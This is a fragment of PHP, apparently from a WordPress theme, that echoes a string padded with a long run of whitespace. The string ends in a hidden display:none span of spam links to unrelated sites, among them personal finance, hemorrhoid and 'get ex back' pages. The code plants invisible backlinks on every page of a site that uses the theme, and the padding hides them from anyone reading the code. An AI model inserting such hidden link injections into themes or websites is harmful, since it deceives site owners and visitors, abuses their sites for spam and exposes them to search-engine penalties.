  $pshow = "                                                                                                                                                                                                                                                                                                                                                                                                                                                                              <span style='display:none;'><a href='http://themecrunch.blogspot.com/2010/05/newstube-by-themejunkie.html'>newstube Theme by Themejunkie</a> &middot; <a href='http://www.netpeller.com/'>Personal finance</a> &middot; <a href='http://hemcure.blogspot.com/'>Hemorrhoids</a> &middot; <a href='http://www.seoption.com/'>Search engine marketing</a> &middot; <a href='http://www.makingupcode.com/'>Get ex back</a></span>";
  echo $pshow;
}

?>
